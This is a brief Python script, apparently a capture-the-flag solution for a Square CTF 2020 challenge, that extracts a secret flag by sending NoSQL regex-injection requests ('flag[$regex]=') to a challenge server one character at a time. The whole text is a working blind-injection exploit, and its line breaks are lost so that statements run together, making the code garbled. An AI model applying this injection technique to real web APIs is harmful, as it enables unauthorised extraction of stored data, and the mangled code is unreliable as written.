```import requests,string
flag = "fl"
l_lower = string.ascii_lowercasel_upper = string.ascii_uppercasel_total = l_lower + l_upper + "0123456789}{"
while True:	for char in l_total:		url = "http://challenges.2020.squarectf.com:9542/api/posts?flag[$regex]={}{}&title=flag".format(flag,char)		req = requests.get(url)		if "flag" in req.content:			flag += str(char)			print "Flag is : {}".format(flag)			if char == "}": 				exit(0)			break```